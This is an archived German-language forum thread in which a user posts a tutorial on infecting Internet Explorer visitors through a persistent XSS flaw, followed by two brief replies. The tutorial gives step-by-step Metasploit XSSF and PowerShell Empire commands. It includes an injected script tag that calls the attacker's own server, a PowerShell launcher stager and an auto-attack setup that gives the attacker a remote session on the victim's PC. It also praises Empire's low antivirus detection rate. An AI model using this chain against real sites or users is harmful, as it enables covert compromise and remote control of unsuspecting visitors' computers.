PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Text-Tut] XSS meets Empire



Braz
24.04.2016, 14:01
Hey Leute,

Hier wie angekündigt ein kleines Tutorial, wie ihr über eine persistente XSS einen Internet Explorer User infizieren könnt.

Was wird benötigt:

Linux Distribution
Empire-Framework: https://github.com/PowerShellEmpire/Empire
Metasploit-Framework: https://github.com/rapid7/metasploit-framework
XSS-Framework: https://github.com/sempervictus/xssf
Eine persistente XSS-Lücke


Ich gehe nicht auf die Installation von Empire & MSF ein, da diese weit und breit im Internet zu finden sind.
Das XSS-Framework ist ein Plugin für Metasploit, daher müssen die Dateien richtig importiert werden.
Hier jeweils die Dateien von XSSF richtig in die vorhande Metasploit Architektur einfplegen.

Ist das Setup komplett, müsst ihr initial das XSSF in der Metasploit-Konsole einbinden:

msfconsole

load xssf

Nun könnt ihr euch nach dem Eintippen von

xssf_
über die TAB-Taste die weiteren Funktionen anzeigen lassen.

Für unser Vorhaben schauen wir uns als erstes die URLs an, welche wir zur Verbindung benötigen.
Dies macht man über den Befehl:

xssf_urls

Der Output bei mir:

msf> xssf_urls
[+] XSSF Server : 'http://meinserver:8888/' or 'http://<PUBLIC-IP>:8888/'
[+] Generic XSS injection: 'http://meinserver:8888/loop' or 'http://<PUBLIC-IP>:8888/loop'
[+] XSSF test page : 'http://meinserver/test.html' or 'http://<PUBLIC-IP>:8888/test.html'


[+] XSSF Tunnel Proxy : 'localhost:8889'
[+] XSSF logs page : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'

Der Generic XSS Injections Server ist für unser Belangen gedacht.
Hierzu habe ich bei meinem Router den Port 8888 geöffnet.

Nun könnt ihr schon mit der XSS loslegen indem ihr folgendes Script einbaut:
<script src="http://euerserver:8888/loop?interval=2"></script>

Die XSS-Verbindung funktioniert zwar jetzt, ist aber immer noch nutzlos:

Für die Client-Exploitation verwende ich zur Zeit Powershell im Empire-Framework,
da dieses fast so gut ist wie der Meterpreter und dabei eine niedrigere/keine Erkennungsrate hat.

Hierzu das Empire-FW öffnen und per

listeners

options
nun die Settings des Listeners anzeigen lassen.
Mit
set müsst ihr jetzt die Konfiguration anpassen,
um ihn anschließend mit
execute zu starten.

Ab hier horcht das Empire-FW auf neue Verbindungen.

Wie verbinde ich jetzt alle Komponenten?

#1
Wir parametrieren & erstellen den Payload im Empire-FW mit:

usestager launcher

set EureOptionen

execute
Nach erfolgreichem Parametrieren, wird der Powershell.exe Command ausgegeben.

#2
In Metasploit:

use auxiliary/xssf/public/IE/command

set Command DenObenAusgegebenenPowershellCommand

exploit -j

Das Modul läuft im Hintergrund und hat eine Job-ID.
Diese lässt sich herausfinden über:

jobs

Da ihr wahrscheinlich nichts im MSF laufen habt, hat die ID die Kennung "0".

Wenn jetzt mit

xssf_add_auto_attack 0
das Ganze abgeschlossen wird, passiert folgendes:

Victim surft auf die Seite, wo eine XSS versteckt ist.
XSS triggert automatisch das Modul *IE/Command.
Victim bekommt eine Meldung von ActiveX, welcher er mit "Ja" bestätigen muss.
Victim-PC öffnet kurz eine Powershell und stellt die finale Verbindung mit Empire her.

Falls jemand Anregungen, zum ändern dieses Textes hat, einfach schreiben!

Happy hunting!

iTzAk47
25.04.2016, 19:49
Kann ich erstmal soweit nichts mit anfangen, aber trotzdem Danke für deine Bemühungen!

Braz
26.04.2016, 04:54
Hey iTzAk47,

Wo gibts Probleme? Gerne helf ich weiter.

VG,
Braz